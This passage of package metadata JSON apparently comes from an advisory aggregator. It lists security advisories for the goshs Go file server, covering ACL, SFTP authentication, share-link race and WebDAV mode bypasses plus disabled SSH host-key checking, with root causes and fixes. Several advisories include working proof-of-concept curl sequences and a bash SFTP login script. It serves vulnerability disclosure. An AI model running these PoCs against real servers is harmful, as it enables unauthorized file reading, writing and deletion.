fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n        http.Error(w, \"move disabled\", http.StatusForbidden)\n        return\n    }\ncase http.MethodDelete:\n    if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n        http.Error(w, \"delete disabled\", http.StatusForbidden)\n        return\n    }\n```\n\nAdd an integration test covering `MOVE` under `--no-delete` (the current `testWebdavMoveCopy` only exercises MOVE/COPY in unrestricted mode).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-28T22:03:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/goshs-labs/goshs/security/advisories/GHSA-hq33-8jgp-8qq3","https://github.com/goshs-labs/goshs/commit/0444ac6b1a8176ddae70d940adf7a26b2e5a6c29","https://github.com/goshs-labs/goshs/releases/tag/v2.1.4","https://github.com/advisories/GHSA-hq33-8jgp-8qq3"],"source_kind":"github","identifiers":["GHSA-hq33-8jgp-8qq3","CVE-2026-64863"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-28T23:00:32.087Z","updated_at":"2026-08-26T21:00:42.939Z","epss_percentage":0.00356,"epss_percentile":0.28217,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocTMzLThqZ3AtOHFxM84ABgpD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocTMzLThqZ3AtOHFxM84ABgpD","packages":[{"ecosystem":"go","package_name":"github.com/patrickhener/goshs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.1.4"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs"},{"ecosystem":"go","package_name":"goshs.de/goshs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.1.4"}],"purl":"pkg:go/goshs.de%2Fgoshs"},{"ecosystem":"go","package_name":"github.com/patrickhener/goshs/v2","versions":[{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c= 2.1.3"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs%2Fv2"},{"ecosystem":"go","package_name":"goshs.de/goshs/v2","versions":[{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c= 2.1.3"}],"purl":"pkg:go/goshs.de%2Fgoshs%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocTMzLThqZ3AtOHFxM84ABgpD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ybXh3LXBxNHgtM2Z2aM4ABgpC","url":"https://github.com/advisories/GHSA-rmxw-pq4x-3fvh","title":"goshs: File-based .goshs ACL authorization bypass via the ?bulk zip-download route (unauthenticated read; residual of GHSA-wvhv-qcqf-f3cx)","description":"GHSA-wvhv-qcqf-f3cx fixed the per-folder .goshs ACL bypass on the state-changing routes (PUT/POST upload/?mkdir/?delete) and added recursive ACL resolution, and its description states the read/list path correctly enforces .goshs. That premise does not hold for the ?bulk zip-download route. bulkDownload (httpserver/updown.go) takes one or more ?file= parameters, runs each through sanitizePath(fs.Webroot, file), and streams the contents back as a ZIP without ever calling findEffectiveACL/applyCustomAuth. It is dispatched from earlyBreakParameters (?bulk) before the normal doDir/doFile/sendFile flow that performs the ACL check. An unauthenticated attacker can therefore read any file under the webroot protected solely by a .goshs ACL, bypassing both the folder auth (401 on the normal path) and the per-file block list (404 on the normal path). Same authorization-inconsistency root cause as the original advisory, surviving on a read route the fix did not cover.\n\nProof of concept (live, against the fixed v2.1.0 build which includes fix commit f212c4f4, served with no global -b auth, only a per-folder .goshs):\n  GET /protected/secret.txt              -\u003e 401 (ACL enforced on normal path)\n  GET /protected/secret.txt -u admin:admin -\u003e 200\n  GET /?bulk\u0026file=/protected/secret.txt  -\u003e 200, zip contains the protected file contents  (BYPASS)\n  GET /?bulk\u0026file=/protected/blocked.txt -\u003e 200, zip contains the block-listed file        (block bypass)\n  GET /protected/secret.txt?share        -\u003e 403 'Sharing disabled when auth is disabled'    (correctly gated, NOT a bypass)\n\nImpact: any unauthenticated network attacker can read files an operator protected with the documented per-folder .goshs ACL/basic-auth feature, by requesting them through ?bulk. Confidentiality only (the write/delete equivalents were closed by GHSA-wvhv-qcqf-f3cx). Applies to deployments relying on .goshs as the access boundary (a server-wide -b basic auth, if configured, also gates ?bulk via its middleware).\n\nRemediation: enforce the effective .goshs ACL inside bulkDownload for every requested file exactly as sendFile/processDir do (resolve findEffectiveACL(filepath.Dir(absPath)) + applyCustomAuth + honor acl.Block), or route ?bulk through the same authorization gate as the normal read path. Audit ?cbDown and other alternate read routes for the same gap.\n\nCredit: anir0y (independent security research).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-28T21:59:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/goshs-labs/goshs/security/advisories/GHSA-rmxw-pq4x-3fvh","https://github.com/goshs-labs/goshs/commit/7cf911a26ace737e1a55b7dc073e307a25f7fd1d","https://github.com/goshs-labs/goshs/releases/tag/v2.1.1","https://github.com/advisories/GHSA-rmxw-pq4x-3fvh"],"source_kind":"github","identifiers":["GHSA-rmxw-pq4x-3fvh","CVE-2026-54719"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-28T22:00:34.045Z","updated_at":"2026-08-26T21:00:42.940Z","epss_percentage":0.00283,"epss_percentile":0.20272,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybXh3LXBxNHgtM2Z2aM4ABgpC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ybXh3LXBxNHgtM2Z2aM4ABgpC","packages":[{"ecosystem":"go","package_name":"goshs.de/goshs/v2","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003c= 2.1.0"}],"purl":"pkg:go/goshs.de%2Fgoshs%2Fv2"},{"ecosystem":"go","package_name":"goshs.de/goshs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.1.4"}],"purl":"pkg:go/goshs.de%2Fgoshs"},{"ecosystem":"go","package_name":"github.com/patrickhener/goshs/v2","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003c= 2.1.0"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs%2Fv2"},{"ecosystem":"go","package_name":"github.com/patrickhener/goshs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.1.4"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybXh3LXBxNHgtM2Z2aM4ABgpC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yanJ3LW1qcTYtaHBtbc4ABgpB","url":"https://github.com/advisories/GHSA-rjrw-mjq6-hpmm","title":"goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)","description":"## Summary\n\nStart goshs v2.1.3 with `-b 'admin:' -sftp`. No `-fkf`. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (`-b ':pass'`). The empty-password variant bypasses that fix.\n\n## CVE-2026-40884\n\n**CVE-2026-40884** (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: `-b ':pass'` with `-sftp`. `sftpserver.go:85` uses `\u0026\u0026`:\n\n```go\nif s.Username != \"\" \u0026\u0026 s.Password != \"\" {\n    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {\n        return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 \u0026\u0026 subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1\n    }\n}\n```\n\nEmpty username → `Username != \"\"` false → `PasswordHandler` nil. No `-fkf` means `PublicKeyHandler` also nil. gliderlabs/ssh sees all handlers nil and sets `NoClientAuth = true`. Unauthenticated access.\n\nPatrickhener fixed it with a sanity check at `sanity/checks.go:114-118`:\n\n```go\nif opts.FTP \u0026\u0026 opts.FTPSFTPMode \u0026\u0026 strings.HasPrefix(opts.BasicAuth, \":\") {\n    logger.Fatal(\"When using SFTP with password authentication, the username cannot be empty. ...\")\n}\n```\n\n`HasPrefix(\":\")` catches empty username. It does not catch empty password.\n\n## Empty Password Bypass\n\nSame `\u0026\u0026` at `sftpserver.go:85`. Same nil handler. Different input:\n\n```\ngoshs -b 'admin:' -sftp\n```\n\n- `Username = \"admin\"`, `Password = \"\"`\n- `Username != \"\" \u0026\u0026 Password != \"\"` → false. Password is empty.\n- `PasswordHandler` not set. No `-fkf` → `PublicKeyHandler` not set.\n- gliderlabs/ssh → `NoClientAuth = true`.\n\nCVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (`\u0026\u0026`) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nHOST=\"${1:-127.0.0.1}\"\nPORT=\"${2:-2121}\"\n\necho \"[*] Connecting to goshs SFTP at $HOST:$PORT with empty password...\"\necho \"ls -la /\" | sftp -o StrictHostKeyChecking=no \\\n  -o UserKnownHostsFile=/dev/null \\\n  -o PreferredAuthentications=none,password \\\n  -o PubkeyAuthentication=no \\\n  -P \"$PORT\" -b - admin@\"$HOST\" 2\u003e\u00261 \u0026\u0026 \\\n  echo \"[+] VULNERABLE: Connected without password!\" || \\\n  echo \"[-] Connection failed (patched or not running)\"\n```\n\n## Root Cause\n\n```go\n// Wrong: \u0026\u0026\nif s.Username != \"\" \u0026\u0026 s.Password != \"\" {\n\n// Correct: ||\nif s.Username != \"\" || s.Password != \"\" {\n```\n\n`\u0026\u0026` blocks `PasswordHandler` when either field is empty. `||` installs it when either field is set.\n\n## Incomplete Fix\n\nPatrickhener added `HasPrefix(\":\")` at `sanity/checks.go:116`. Two gaps remain:\n\n1. `\u0026\u0026` still at `sftpserver.go:85` in v2.1.3\n2. No `HasSuffix(\":\")` check for empty password\n\n## Impact\n\n- Unauthenticated SFTP file access (read, write, delete, rename)\n- Same impact as CVE-2026-40884 via a different input\n- Exploitable with `-b 'user:'` and no `-fkf`\n\n## Affected\n\nAll goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.\n\n## Recommended Fix\n\n1. `\u0026\u0026` → `||` at `sftpserver/sftpserver.go:85`\n2. `HasSuffix(\":\")` check at `sanity/checks.go`\n3. Shared auth handler setup for HTTP and SFTP code paths","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-28T21:56:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/goshs-labs/goshs/security/advisories/GHSA-rjrw-mjq6-hpmm","https://github.com/goshs-labs/goshs/commit/32f4a0e1790a709f722d0f3b2341f139d003180a","https://github.com/goshs-labs/goshs/releases/tag/v2.1.4","https://github.com/advisories/GHSA-rjrw-mjq6-hpmm"],"source_kind":"github","identifiers":["GHSA-rjrw-mjq6-hpmm","CVE-2026-62325"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-28T22:00:34.045Z","updated_at":"2026-08-26T22:00:34.122Z","epss_percentage":0.00344,"epss_percentile":0.26928,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yanJ3LW1qcTYtaHBtbc4ABgpB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yanJ3LW1qcTYtaHBtbc4ABgpB","packages":[{"ecosystem":"go","package_name":"goshs.de/goshs/v2","versions":[{"first_patched_version":"2.1.4","vulnerable_version_range":"= 2.1.3"}],"purl":"pkg:go/goshs.de%2Fgoshs%2Fv2"},{"ecosystem":"go","package_name":"github.com/patrickhener/goshs/v2","versions":[{"first_patched_version":"2.1.4","vulnerable_version_range":"= 2.1.3"}],"purl":"pkg:go/github.com%2Fpatrickhener%2Fgoshs%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yanJ3LW1qcTYtaHBtbc4ABgpB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNDhtLWg3eHEtMnhwas4ABaAC","url":"https://github.com/advisories/GHSA-j48m-h7xq-2xpj","title":"goshs: Share-link ?token=… redemption races past download limit","description":"# Share-link `?token=…` redemption races past download limit\n\n**Ecosystem:** Go\n**Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`)\n**Affected:** `\u003c= v2.0.9` (every release that shipped the share-link feature)\n\n## Summary\n\n`ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap.\n\n## Details\n\n[`httpserver/handler.go:968-1018`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018):\n\n```go\nfs.sharedLinksMu.RLock()\nentry, ok := fs.SharedLinks[token]\nfs.sharedLinksMu.RUnlock()                       // \u003c-- released here\n\nif entry.DownloadLimit \u003e 0 || entry.DownloadLimit == -1 {\n    // ...serve file...                          // \u003c-- whole transfer happens unlocked\n}\n\nfs.sharedLinksMu.Lock()                          // \u003c-- re-acquired only now\ncurrent.Downloaded++\nif current.Downloaded \u003e= current.DownloadLimit { delete(fs.SharedLinks, token) }\nfs.sharedLinksMu.Unlock()\n```\n\nBetween line 978 (`RUnlock`) and line 1008 (`Lock`), any number of goroutines can interleave and each observes the same pre-increment limit.\n\n## Proof of concept\n\n```bash\ngoshs -p 18000 -d /tmp/r -b admin:pw \u0026\necho data \u003e /tmp/r/f.txt\n\n# operator issues a one-shot share\nSHARE=$(curl -su admin:pw \"http://localhost:18000/f.txt?share\u0026limit=1\")\nTK=$(echo \"$SHARE\" | sed -n 's/.*token=\\([^\"]*\\)\".*/\\1/p')\n\n# attacker races two redemptions\ncurl -so /dev/null -w \"%{http_code}\\n\" \"http://localhost:18000/?token=$TK\" \u0026 \\\ncurl -so /dev/null -w \"%{http_code}\\n\" \"http://localhost:18000/?token=$TK\" \u0026 \\\nwait\n# observed: 200 / 200 (both succeed) -\u003e limit=1 redeemed twice\n```\n\nReproduced 5/5 times in a row on a 2026-era M-series Mac during verification.\n\n## Impact\n\nA \"single-use\" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.\n\n## Suggested fix\n\nReserve under the write lock *before* serving — refund only if the serve fails:\n\n```go\nfs.sharedLinksMu.Lock()\nentry, ok := fs.SharedLinks[token]\nif !ok || time.Now().After(entry.Expires) ||\n   (entry.DownloadLimit != -1 \u0026\u0026 entry.Downloaded \u003e= entry.DownloadLimit) {\n    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return\n}\nentry.Downloaded++\nif entry.DownloadLimit != -1 \u0026\u0026 entry.Downloaded \u003e= entry.DownloadLimit {\n    delete(fs.SharedLinks, token)\n} else {\n    fs.SharedLinks[token] = entry\n}\nfs.sharedLinksMu.Unlock()\n// ...serve...\n```\n\nAdd a regression test that races two requests against a `limit=1` token and asserts exactly one `200`.\n\nReporter: Nishant Verma. Reproduced against `goshs v2.0.9` (commit `8fc1e91`) on 2026-05-27.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-01T21:59:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-j48m-h7xq-2xpj","https://github.com/advisories/GHSA-j48m-h7xq-2xpj"],"source_kind":"github","identifiers":["GHSA-j48m-h7xq-2xpj","CVE-2026-50139"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-01T22:00:08.907Z","updated_at":"2026-08-26T22:01:07.612Z","epss_percentage":0.00246,"epss_percentile":0.16148,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNDhtLWg3eHEtMnhwas4ABaAC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNDhtLWg3eHEtMnhwas4ABaAC","packages":[{"ecosystem":"go","package_name":"goshs.de/goshs/v2","versions":[{"first_patched_version":"2.1.0","vulnerable_version_range":"\u003c= 2.0.9"}],"purl":"pkg:go/goshs.de%2Fgoshs%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNDhtLWg3eHEtMnhwas4ABaAC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zd2hjLXF2aHYteHFqcM4ABaAA","url":"https://github.com/advisories/GHSA-3whc-qvhv-xqjp","title":"goshs: WebDAV listener ignores --read-only, --upload-only, and --no-delete mode flags","description":"# WebDAV listener ignores `--read-only`, `--upload-only`, and `--no-delete` mode flags\n\n**Ecosystem:** Go\n**Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`)\n**Affected:** `\u003c= v2.0.9` (every release that ships the WebDAV handler)\n\n## Summary\n\nWhen `goshs` is launched with WebDAV enabled (`-w`), the mode-restriction flags `--read-only`, `--upload-only`, and `--no-delete` are enforced only on the primary HTTP port. The WebDAV port is wired straight to `golang.org/x/net/webdav.Handler` with no equivalent guard, so an authenticated WebDAV client can `PUT`, `DELETE`, `MKCOL`, `MOVE`, and `COPY` despite the operator's stated intent.\n\n## Details\n\n[`httpserver/server.go:207-238`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/server.go#L207-L238) — the WebDAV mux registers only `IPWhitelistMiddleware`, `ServerHeaderMiddleware`, and optionally `BasicAuthMiddleware`. There is no `fs.ReadOnly || fs.UploadOnly || fs.NoDelete` check on the WebDAV path. The HTTP mux in the same file (lines 134-204) does check these flags on every state-changing route.\n\n## Proof of concept\n\n```bash\nmkdir -p /tmp/r \u0026\u0026 echo secret \u003e /tmp/r/x.txt\ngoshs -p 18000 -wp 18001 -w -ro -d /tmp/r -b admin:pw \u0026\n\ncurl -u admin:pw -X PUT    http://localhost:18000/y.txt --data x   # 403  (HTTP enforces -ro)\ncurl -u admin:pw -X PUT    http://localhost:18001/y.txt --data x   # 201  (WebDAV writes anyway)\ncurl -u admin:pw -X DELETE http://localhost:18001/x.txt            # 204  (WebDAV deletes anyway)\ncurl -u admin:pw -X MKCOL  http://localhost:18001/pwned/           # 201  (WebDAV creates dir)\n```\n\n## Impact\n\n- **Integrity** — `--read-only` and `--no-delete` are silently downgraded to \"no protection\" on the WebDAV port. Any WebDAV client (curl, cadaver, Windows Explorer, Finder) can overwrite/delete files.\n- **Confidentiality** — `--upload-only` is also bypassed: WebDAV GET/PROPFIND still return file contents.\n- **Trust** — operators using `goshs -w -ro -d /srv/case-files -b reviewer:pw` to deliver engagement artifacts believe the directory is immutable. It isn't.\n\n## Suggested fix\n\nAdd a small `http.HandlerFunc` in front of `wdHandler` that maps WebDAV verbs to the existing mode flags:\n\n```go\nwdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n    switch r.Method {\n    case http.MethodPut, \"MKCOL\", \"MOVE\", \"COPY\":\n        if fs.ReadOnly || fs.UploadOnly { http.Error(w, \"read-only\", 403); return }\n    case http.MethodDelete:\n        if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, \"delete disabled\", 403); return }\n    case http.MethodGet, \"PROPFIND\", \"HEAD\":\n        if fs.UploadOnly { http.Error(w, \"upload-only\", 403); return }\n    }\n    wdHandler.ServeHTTP(w, r)\n})\n```\n\nAdd regression tests in `integration/functions.go` covering each mode flag × each WebDAV verb.\n\nReporter: Nishant Verma. Reproduced live against `goshs v2.0.9` (commit `8fc1e91`) on 2026-05-27.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-01T21:56:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-3whc-qvhv-xqjp","https://github.com/advisories/GHSA-3whc-qvhv-xqjp"],"source_kind":"github","identifiers":["GHSA-3whc-qvhv-xqjp","CVE-2026-50138"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-01T22:00:08.907Z","updated_at":"2026-08-26T22:01:07.612Z","epss_percentage":0.00334,"epss_percentile":0.2648,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd2hjLXF2aHYteHFqcM4ABaAA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zd2hjLXF2aHYteHFqcM4ABaAA","packages":[{"ecosystem":"go","package_name":"goshs.de/goshs/v2","versions":[{"first_patched_version":"2.1.0","vulnerable_version_range":"\u003c= 2.0.9"}],"purl":"pkg:go/goshs.de%2Fgoshs%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd2hjLXF2aHYteHFqcM4ABaAA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1teGczLTQzMnAtbXI3Ms4ABW87","url":"https://github.com/advisories/GHSA-mxg3-432p-mr72","title":"goshs: SSH host key verification disabled, allowing transparent MITM of every tunnelled HTTP request","description":"### Summary\n\nThe `--tunnel` / `-t` flag opens an outbound SSH connection to `localhost.run:22` with `HostKeyCallback: ssh.InsecureIgnoreHostKey()`. The Go documentation for that function states verbatim: *\"It should not be used for production code.\"* With the callback disabled the client accepts any host key the server presents, so an attacker who can intercept the operator's TCP connection to `localhost.run:22` (any router on the path, malicious local network, ARP/DNS spoof on the operator's LAN, BGP hijack, malicious VPN) can present their own SSH host key, terminate the SSH session locally, and proxy onward — sitting transparently in the middle of the tunnel.\n\nBecause `localhost.run` does TLS termination at their end, the HTTP traffic on the SSH leg is plaintext, so the on-path attacker reads and rewrites every request and response in cleartext. The goshs operator gets no warning; the public URL works normally.\n\n### Affected Code\n\n**File:** `tunnel/tunnel.go`\n\n```go\nfunc Start(localIP string, localPort int) (*Tunnel, error) {\n    config := \u0026ssh.ClientConfig{\n        User:            \"nokey\",\n        Auth:            []ssh.AuthMethod{ssh.Password(\"\")},\n        HostKeyCallback: ssh.InsecureIgnoreHostKey(), // accepts any server key\n        Timeout:         10 * time.Second,\n        BannerCallback:  func(banner string) error { return nil },\n    }\n    client, err := ssh.Dial(\"tcp\", \"localhost.run:22\", config)\n    ...\n}\n```\n\nThere is no fallback verification — no `ssh.FixedHostKey`, no `known_hosts` read, no TOFU pin. Every invocation of `goshs --tunnel` is equally vulnerable.\n\n### Exploit Chain\n\n1. Operator runs `goshs --tunnel`. `tunnel.Start()` opens an SSH client to `localhost.run:22` with `InsecureIgnoreHostKey()`.\n2. Attacker positioned on the network path (compromised router, café Wi-Fi MITM, malicious VPN exit, hostile ISP, BGP hijack, or `arpspoof` + DNS spoof on the operator's LAN) intercepts the outbound TCP connection to `localhost.run:22` and answers with their own SSH server.\n3. The attacker's fake SSH server presents an attacker-generated host key. The goshs client's `HostKeyCallback` returns nil unconditionally. Handshake completes; the client believes it is talking to `localhost.run`.\n4. The attacker proxies the SSH session onward to the real `localhost.run:22`, forwarding the URL capture so `Start()` reads back the genuine `https://*.lhr.life` line and returns successfully. The operator sees the public URL printed to stdout exactly as expected.\n5. Every HTTP request arriving at the public URL is routed over the SSH session. The attacker reads every URL, query string, header, body, and `Authorization` value sent by every visitor.\n6. For each response the attacker can rewrite the body or headers — serving modified files, injecting HTML/JS, redirecting requests, or stripping `Set-Cookie` attributes.\n7. Captured basic-auth credentials give the attacker authenticated access to upload, share-link, catcher, clipboard, and CLI endpoints. If goshs is running credential-collection listeners (SMB/LDAP/SMTP), the captured NTLM hashes and SMTP messages flowing through the tunnel are also exposed.\n\n### Impact\n\n- **Confidentiality (High):** all HTTP request and response content is readable by the on-path attacker (URLs, headers, basic-auth `Authorization`, file contents, share-link tokens, the `?goshs-info` JSON dump).\n- **Integrity (High):** attacker can modify responses in-flight — replace served files, inject `\u003cscript\u003e` into HTML responses, swap offered binaries for backdoored ones.\n- **Availability:** not affected.\n\n### Preconditions\n\n- Operator must be running `goshs --tunnel` / `goshs -t`.\n- Attacker must hold a network-on-path position between the operator and `localhost.run:22` (LAN MITM, malicious Wi-Fi, hostile ISP/VPN, BGP hijack, or DNS spoofing combined with an attacker-controlled SSH endpoint).\n\n---\n\n### Fix (applied in v2.0.7)\n\n`ssh.InsecureIgnoreHostKey()` has been replaced with a **Trust-On-First-Use (TOFU)** host key callback backed by `~/.config/goshs/known_hosts`.\n\n**Behaviour after the fix:**\n\n- On **first connection**: goshs accepts the host key presented by `localhost.run`, writes it to `~/.config/goshs/known_hosts` (mode `0600`), and prints two warning lines:\n  ```\n  WARN  tunnel: pinned new host key for localhost.run:22 (SHA256:\u003cfingerprint\u003e) in ~/.config/goshs/known_hosts\n  WARN  tunnel: verify with: ssh-keyscan localhost.run 2\u003e/dev/null | ssh-keygen -l -f -\n  ```\n  The operator should compare the printed fingerprint against the `ssh-keyscan` output to confirm no MITM occurred on that first connection.\n\n- On **subsequent connections**: the stored key is loaded via `golang.org/x/crypto/ssh/knownhosts` and the presented key is verified against it. A mismatch returns a typed `HostKeyMismatchError` and goshs exits immediately with:\n  ```\n  FATAL tunnel: ssh: host key mismatch for localhost.run:22 — possible MITM attack.\n        If localhost.run legitimately rotated its key, delete ~/.config/goshs/known_hosts and reconnect\n  ```\n\n**Files changed:**\n\n| File | Change |\n|------|--------|\n| `config/config.go` | Added `Dir()` — creates and returns `~/.config/goshs` (mode `0700`) |\n| `main.go` | Calls `config.Dir()` on every startup to ensure the directory exists |\n| `tunnel/tunnel.go` | Replaced `InsecureIgnoreHostKey()` with `buildTOFUCallback(knownHostsFile)`; added exported `HostKeyMismatchError` type |\n| `httpserver/server.go` | Resolves `~/.config/goshs/known_hosts` via `config.Dir()`, passes it to `tunnel.Start()`; fatal-exits on `HostKeyMismatchError` |\n\n**Implementation uses only already-vendored dependencies** (`golang.org/x/crypto/ssh/knownhosts` is part of the existing `golang.org/x/crypto` direct dependency — no new modules added).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-15T17:17:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-mxg3-432p-mr72","https://github.com/patrickhener/goshs/commit/8f409cb08aacc6e94704334e8b1fb2cd50f5dd98","https://github.com/patrickhener/goshs/releases/tag/v2.0.7","https://github.com/advisories/GHSA-mxg3-432p-mr72"],"source_kind":"github","identifiers":["GHSA-mxg3-432p-mr72"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-15T18:00:17.674Z","updated_at":"2026-08-26T22:02:08.603Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1teGczLTQzMnAtbXI3Ms4ABW87","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1teGczLTQzMnAtbXI3Ms4ABW87","packages":[{"ecosystem":"go","package_name":"goshs.de/goshs/v2","versions":[{"first_patched_version":"2.0.7","vulnerable_version_range":"\u003c= 2.0.6"}],"purl":"pkg:go/goshs.de%2Fgoshs%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1teGczLTQzMnAtbXI3Ms4ABW87/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/goshs.de/goshs/v2","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/goshs.de/goshs/v2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/goshs.de/goshs/v2/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-19T20:30:44.954Z","issues_count":19,"pull_requests_count":108,"avg_time_to_close_issue":103116.68421052632,"avg_time_to_close_pull_request":56702.237623762376,"issues_closed_count":19,"pull_requests_closed_count":101,"pull_request_authors_count":5,"issue_authors_count":14,"avg_comments_per_issue":2.8947368421052633,"avg_comments_per_pull_request":0.32407407407407407,"merged_pull_requests_count":93,"bot_issues_count":0,"bot_pull_requests_count":82,"past_year_issues_count":16,"past_year_pull_requests_count":104,"past_year_avg_time_to_close_issue":118139.875,"past_year_avg_time_to_close_pull_request":58534.26804123711,"past_year_issues_closed_count":16,"past_year_pull_requests_closed_count":97,"past_year_pull_request_authors_count":4,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":3.0625,"past_year_avg_comments_per_pull_request":0.2692307692307692,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":81,"past_year_merged_pull_requests_count":89,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/issues","maintainers":[{"login":"patrickhener","count":25,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickhener"}],"active_maintainers":[{"login":"patrickhener","count":22,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickhener"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/goshs.de%2Fgoshs%2Fv2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1